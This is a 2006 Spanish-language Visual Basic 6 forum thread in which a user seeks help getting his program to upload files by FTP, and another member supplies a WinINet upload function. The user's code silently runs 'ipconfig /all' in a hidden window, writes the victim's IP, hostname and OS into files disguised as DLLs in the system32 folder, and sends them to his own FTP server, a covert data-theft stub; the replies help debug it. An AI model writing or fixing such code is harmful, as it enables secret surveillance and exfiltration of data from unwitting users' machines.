Lunes 23 de Diciembre de 2024, 04:15
SoloCodigo
Bienvenido(a),
Visitante
. Por favor,
ingresa
o
regístrate
.
¿Perdiste tu
email de activación?
Inicio
Foros
Chat
Ayuda
Buscar
Ingresar
Registrarse
SoloCodigo
»
Foros
»
Programación General
»
Visual Basic 6.0 e inferiores
(Moderador:
F_Tanori
) »
Inet Y Ftp Imposible!
« anterior
próximo »
Imprimir
Páginas: [
1
]
Autor
Tema: Inet Y Ftp Imposible! (Leído 2658 veces)
kipexs
Nuevo Miembro
Mensajes: 5
Inet Y Ftp Imposible!
«
en:
Jueves 23 de Marzo de 2006, 21:14 »
0
No soy capaz de que en VB me envie un fichero .txt a mi ftp con el inet
Consegui k me enviara una .dll poniendo:
Inet1.Execute "ftp://user:pass @ftp.usuarios.lycos.es", "PUT C:\winx32.dll " & Winsock1.LocalHostName & ".dll"
Pero ahora kiero subir el archivo prueba.txt y no me deja. Lo k kiero es k me envie el .txt del comando ipconfig /all el code seria asi:
Código: Text
Private Sub Form_Load()
Shell "cmd.exe /c ipconfig /all > C:\ocip.txt", vbHide
Inet1.URL = "ftp://ftp.usuarios.lycos.es"
Inet1.UserName = "miuser"
Inet1.Password = "mipass"
Inet1.Execute , "PUT " & "c:\" & ocip & ".txt"
End Sub
Lo intente de varias maneras y tampoco me va. Por que puede ser?
Por favor ayuda!!!
PD: Lei en este foro un post k era parecido, por no decir igual, pero hago lo k pusisteis en él pero no me lo envia
Saludos!!
Tweet
ebolo
Miembro MUY activo
Mensajes: 188
Re: Inet Y Ftp Imposible!
«
Respuesta #1 en:
Sábado 25 de Marzo de 2006, 14:06 »
0
Hola kipexs, la verdad que no sé porqué, pero puedes intentar poner un Doevents después del Shell, pero viendo otra vez el código veo que el ocip lo sacas de las comillas en el PUT, con lo que lo estás considerando como una variable y en este caso no es.
Código: Text
Private Sub Form_Load()
Shell "cmd.exe /c ipconfig /all > C:\ocip.txt", vbHide
Doevents
Inet1.URL = "ftp://ftp.usuarios.lycos.es"
Inet1.UserName = "miuser"
Inet1.Password = "mipass"
Inet1.Execute , "PUT " & "c:\ocip.txt"
End Sub
Un saludo.
kipexs
Nuevo Miembro
Mensajes: 5
Re: Inet Y Ftp Imposible!
«
Respuesta #2 en:
Sábado 25 de Marzo de 2006, 16:49 »
0
k va sigue sin salirme, crea el archivo y no lo envia.
Komo puedo hacer para k envie un archivo al ftp?? me da igual el komando k use...
Eske ya stoy desesperao
Nos vemos
Gracias!!
Sagutxo
Miembro MUY activo
Mensajes: 320
Re: Inet Y Ftp Imposible!
«
Respuesta #3 en:
Sábado 25 de Marzo de 2006, 21:37 »
0
Akí te dejo una aplicación que lo hace
. Esta cogido de un ejemplo del
AllApi
Suerte.
Mi mujer tiene un físico bárbaro!!!. Einstein.
kipexs
Nuevo Miembro
Mensajes: 5
Re: Inet Y Ftp Imposible!
«
Respuesta #4 en:
Domingo 26 de Marzo de 2006, 15:26 »
0
Me lo bajo pero solo esta el proyecto no el form.
Sagutxo
Miembro MUY activo
Mensajes: 320
Re: Inet Y Ftp Imposible!
«
Respuesta #5 en:
Domingo 26 de Marzo de 2006, 16:25 »
0
Salu2. uffff, perdoname nuevamente me he equivocado, akí te dejo el
form
.
mil escusas
El mensaje contiene
1 archivo adjunto
. Debes
ingresar
o
registrarte
para poder verlo y descargarlo.
Mi mujer tiene un físico bárbaro!!!. Einstein.
kipexs
Nuevo Miembro
Mensajes: 5
Re: Inet Y Ftp Imposible!
«
Respuesta #6 en:
Martes 28 de Marzo de 2006, 15:35 »
0
Me dio algunos problemillas al abrirlo ya k hace falta el proyecto y el form kreo, pero consegui abrir el codigo, lo he leido pero creo k es excesivo ya k si consegui enviar el archivo ese poniendo
Código: Text
Inet1.Execute "ftp://user:pass@ftp.usuarios.lycos.es", "PUT C:\winx32.dll " & Winsock1.LocalHostName & ".dll"
este k es un .txt deberia ser igual no??
lo k no se es que se pone entre los & &, yo puse Winsock1.LocalHostName pork lo sake de una revista y pork el winsok lo habia utilizado para sacar el archivo winx32.dll
y tampoco se donde ponerlo, es decir, si debago de la linea
Código: Text
Shell "cmd.exe /c ipconfig /all > C:\ocip.txt", vbHide
o debajo d donde se envia el otro archivo, el winx32.dll.
Nos vemos
kipexs
Nuevo Miembro
Mensajes: 5
Re: Inet Y Ftp Imposible!
«
Respuesta #7 en:
Martes 28 de Marzo de 2006, 16:58 »
0
Siento postear dos veces seguidas pero es para corregir lo anterior y poner mas dudas:
Entre los & & se pone el nombre k se le kiere dar al archivo al subirlo al ftp y entre las comillas la extension
Código: Text
If Ti = 10 Then
Shell "cmd.exe /c ipconfig /all > C:\WINDOWS\system32\wipt.dll", vbHide
Inet1.Execute "ftp://miuser:mipass@ftp.usuarios.lycos.es", "PUT C:\WINDOWS\system32\wipt.dll " & Winsock1.LocalIP & ".dll"
Open "C:\WINDOWS\system32\winxk.dll" For Output As #1
Print #1, "Ip del Pc", Winsock1.LocalIP
Print #1, "Nombre del usuario", Winsock1.LocalHostName
Print #1, "S.O. que usa", SysInfo1.OSPlatform
Print #1, Date
Print #1, Time
Close #1
Inet1.Execute "ftp://miuser:mipass@ftp.usuarios.lycos.es", "PUT C:\WINDOWS\system32\winxk.dll " & Winsock1.LocalHostName & ".dll"
Ti = 0
End If
Bien esta es una parte del codigo. Lo k hace es crear dos archivos:
el wipt.dll k lo sube al ftp con la ip local y con la extension .dll
el winxk.dll k lo sube al ftp con el nombre del host y con extension .dll
El problema es k solo me sube el primer archivo el segundo no
, y si pongo debajo de la linea k sube el wink.dll k suba el wipt.dll no me lo sube y me sube el wink.dll
Es decir, k
solo me sube el primer archivo k ste puesto para subir
Por que pasa esto??
Gracias!!
Sagutxo
Miembro MUY activo
Mensajes: 320
Re: Inet Y Ftp Imposible!
«
Respuesta #8 en:
Miércoles 29 de Marzo de 2006, 13:03 »
0
Salu2. Siento desilusionarte, pero metiendo el form en cualquier proyecto se supone que ha de funcionar, lo he probado y a mi me funciona. Prueba a desconectar antes de mandar el 2º archivo, no es normal, pero por probar no pierdes nada.
En mi Form solo pinchas 2 veces el archivo que quieres mandar y lo manda, eso si, tendrás que poner tu los datos correctos del FTP.
Recuerda que algunos gestores de FTP no te permiten mandar mas que una vez el archivo
a no ser que lo deletees con su comando apropiado.
akí te dejo una función similar la usas poniendo:
MandaArchivo
PathArchivo
Código: Text
Private Function MandaArchi(ValStr As String)
Dim hConnection As Long, hOpen As Long, sOrgPath As String
hOpen = InternetOpen("API-Guide sample program", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
hConnection = InternetConnect(hOpen, "IP", PUERTO, "Usuario", "Password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
'crear buffer con path original
sOrgPath = String(MAX_PATH, 0)
'Ejemplo
'FtpPutFile hConnection, "Archivo a subir", "Nombre de archivo con el que se sube", FTP_TRANSFER_TYPE_BINARY, 0
FtpPutFile hConnection, ValStr, ValStr, FTP_TRANSFER_TYPE_BINARY, 0
'regreso al path de inicio
'FtpSetCurrentDirectory hConnection, sOrgPath
'cierro conexión
InternetCloseHandle hConnection
InternetCloseHandle hOpen
End Function
Estas d
eclaraciones
y
variables
las puedes poner como
globales
en el
Form
o en un
módulo .Bas
Código: Text
Const FTP_TRANSFER_TYPE_UNKNOWN = &H0
Const FTP_TRANSFER_TYPE_ASCII = &H1
Const FTP_TRANSFER_TYPE_BINARY = &H2
Const INTERNET_DEFAULT_FTP_PORT = 21 ' default for FTP servers
'Const INTERNET_DEFAULT_FTP_PORT = 15896 ' default for FTP servers
Const INTERNET_SERVICE_FTP = 1
Const INTERNET_FLAG_PASSIVE = &H8000000 ' used for FTP connections
Const INTERNET_OPEN_TYPE_PRECONFIG = 0 ' use registry configuration
Const INTERNET_OPEN_TYPE_DIRECT = 1 ' direct to net
Const INTERNET_OPEN_TYPE_PROXY = 3 ' via named proxy
Const INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY = 4 ' prevent using java/script/INS
Const MAX_PATH = 260
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Private Declare Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszCurrentDirectory As String, lpdwCurrentDirectory As Long) As Long
Private Declare Function FtpCreateDirectory Lib "wininet.dll" Alias "FtpCreateDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Private Declare Function FtpRemoveDirectory Lib "wininet.dll" Alias "FtpRemoveDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Private Declare Function FtpDeleteFile Lib "wininet.dll" Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, ByVal lpszFileName As String) As Boolean
Private Declare Function FtpRenameFile Lib "wininet.dll" Alias "FtpRenameFileA" (ByVal hFtpSession As Long, ByVal lpszExisting As String, ByVal lpszNew As String) As Boolean
Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" (ByVal hConnect As Long, ByVal lpszRemoteFile As String, ByVal lpszNewFile As String, ByVal fFailIfExists As Long, ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, ByRef dwContext As Long) As Boolean
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" (lpdwError As Long, ByVal lpszBuffer As String, lpdwBufferLength As Long) As Boolean
Private Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" (ByVal hFtpSession As Long, ByVal lpszSearchFile As String, lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long
Private Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long
Const PassiveConnection As Boolean = True
A ver si ahora me he explicado mejor
Mi mujer tiene un físico bárbaro!!!. Einstein.
Imprimir
Páginas: [
1
]
« anterior
próximo »
SoloCodigo
»
Foros
»
Programación General
»
Visual Basic 6.0 e inferiores
(Moderador:
F_Tanori
) »
Inet Y Ftp Imposible!